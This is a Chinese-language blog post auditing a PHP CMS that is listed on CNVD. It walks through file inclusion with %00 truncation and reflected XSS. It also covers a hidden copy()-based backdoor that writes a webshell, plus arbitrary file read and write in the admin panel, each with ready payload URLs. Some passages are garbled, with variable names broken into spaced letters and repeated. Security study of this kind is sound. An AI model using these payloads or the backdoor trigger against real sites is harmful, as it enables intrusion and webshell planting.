发布于2022年10月15日3年前 前言 在CNVD上看到一个CMS存在多种类型的漏洞,对于之前只能审计出SQL注入和XSS的我来说是个比较好的学习案例,于是从网上找到源码,本地搭建审计一波 【查看资料】 审计环境 phpstudy(php 5.4.45+Apache+Mysql) phpstorm + seay代码审计工具 Windows 7 64位 代码审计 个人习惯,安装完成后同样先看/install目录,看逻辑是否合理,有没有可能存在重装漏洞 使用file_exits()检查是否存在/install.lock.php文件,存在则exit退出,不存在重装漏洞。 接下来就从前台开始,先看入口文件index.php require_once(dirname(__FILE__) . "/core/init.php"); // 预防XSS漏洞 foreach ($_GET as $k => $v) { $_GET[$k] = htmlspecialchars($v); } $dbm = new db_mysql(); // 预处理搜索时的值,主要是防止sql的注入 if (isset($_GET['q'])) { //搜索框为空鼠标点击显示15个热搜词 if (isset($_GET['act']) && $_GET['act'] == 'hot') { if (trim($_GET['q']) == '') { $sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15"; $res = $dbm->query($sql); if (empty($res['error']) && is_array($res['list'])) { foreach ($res['list'] as $k => $v) { $res['list'][$k]['q'] = helper :: utf8_substr($v['q'], 0, 20); } echo json_encode($res['list']); exit; } else { die(); } } } // 超出长度截取 if (strlen($_GET['q']) > 20) { $_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20); } if (trim($_GET['q']) == '0' || trim($_GET['q']) == '') die('搜索词不能为0或空,请重新输入。点此 <a href ="' . SITE_PATH . '">回到首页</a>'); if (!preg_match("/^[\x{4e00}-\x{9fa5}\w {0}]+$/u", $_GET['q'])) { die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>'); } 文件开始是一些过滤代码,主要做了两个过滤。一个是把GET方式传入的值使用htmlspecialchars进行处理,另一个是使用preg_match匹配正则处理,限制输入只能是下划线,数字,字母,汉字和空格。 前台文件包含 继续往下看,看到seay扫描到的一个漏洞位置 跟进看具体代码 首先通过变量 f r o m m o b i l e 和 from_mobile和 frommobile和tpl赋值给 t m p f i l e 构 造 成 p h p 文 件 名 , 然 后 判 断 文 件 是 否 存 在 , 如 果 存 在 , 则 使 用 r e q u i r e 包 含 该 文 件 。 往 上 跟 踪 tmp_file构造成php文件名,然后判断文件是否存在,如果存在,则使用require包含该文件。 往上跟踪 tmpfile构造成php文件名,然后判断文件是否存在,如果存在,则使用require包含该文件。往上跟踪from_mobile和 t p l 的 来 源 , tpl的来源, tpl的来源,from_mobile是取一个全局变量的值,而$tpl是通过GET方式传入,没有做其他的限制,那么就可以控制文件名进行包含。 漏洞验证 在网站根目录下,创建一个phpinfo.php文件进行包含 index.php?tpl=../../phpinfo 但是这里限制了后缀是.php,这显然很鸡肋,都是php文件了,直接就能执行了,没必要再去包含了。除非当php版本小于5.3.4且没有开启magic_quotes_gpc时,可以使用%00截断,包含其他类型的文件。这里切换到5.2.17版本测试,可以尝试包含.jpg的文件。 漏洞验证 index.php?tpl=../../phpinfo.jpg%00 %00截断后成功包含,那么如果找到一个能上传图片的点,就能上传图片马,配合文件包含getshell。 反射XSS 第一处 /templates/m/search.php 直接判断参数q是否存在,存在就直接输出,没有做任何过滤,很明显的漏洞 /templates/m/search.php?q="><script>alert('xss')</script> 第二处 /templates/m/inc_head.php 这里同样判断参数q是否存在,存在就直接输出,没有做任何过滤 /templates/m/inc_head.php?q="><script>alert('xss')</script> 由于这两个文件都是模板文件,所以只要包含了这两个文件的地方,都会存在XSS 隐藏后门 /templates/m/content_list.php 当传入参数session的md5值为9c224bc6b59179729b15e1dddcbb5c82时,会执行一段copy函数构造的后门代码 实际执行的代码如下 copy(trim($_GET[url]),$_GET[cms]); 如果将参数url设置为php://input,参数cms设置为shell的文件名,然后POST传入webshell代码,即可在当前目录写入shell文件 漏洞验证 随后访问test.php 后台任意文件读取 /adm/template.php 在m__show()函数中,首先判断$page[‘get’][‘filename’]是否是一个文件,如果是,则调用helper类中的get_contents方法 跟踪一下get_contents()方法 36-39行,使用while语句循环,将整个文件的内容读取到 c o n t e n t 中 , 随 后 返 回 回 到 t e m p l a t e . p h p , 看 一 下 content中,随后返回 回到template.php,看一下 content中,随后返回回到template.php,看一下page[‘get’][‘filename’]的来源 $page[‘get’]是通过GET方式传入的值,那么GET方式传入filename参数,即可控制文件名进行包含。那么只要调用m__show函数,就能包含任意文件。于是寻找m__show函数被调用的地方。 在43行使用call_user_func调用函数,而$page[‘get’][‘m’]的值通过GET方式传入,当我们传入m=show时,即可调用m__show函数。 漏洞验证 综合以上两点,可以构造payload如下 /adm/template.php?m=show&filename=../../index.php 成功读取index.php文件的内容 后台任意文件写入 /adm/template.php 92行,当POST中存在content参数时,调用file_put_contents函数写入文件,写入文件名由POST传入filename参数进行控制,写入内容为escape_stripslashes方法处理过后的content参数 跟进escape_stripslashes方法 该方法中判断PHP版本小于5.4.0且gpc开启的情况下,调用stripslashes函数删除反斜杠,否则直接返回字符串 由于本地环境使用的php版本为5.4.45,所以content参数不会做任何处理,直接传入一句话。而filename参数前面会拼接/templates/default/目录,传入…/跳转到根目录 漏洞验证 构造数据包在根目录写入shell文件 访问shell.php 总结 这次审计中包含了好几种漏洞类型,有的漏洞是平时比较少审计到的,对个人学习有不小帮助。由于是通过CNVD中的漏洞信息去审计已经存在的漏洞,找出对应的漏洞点,相对于直接挖掘是比较容易的。
创建帐户或登录后发表意见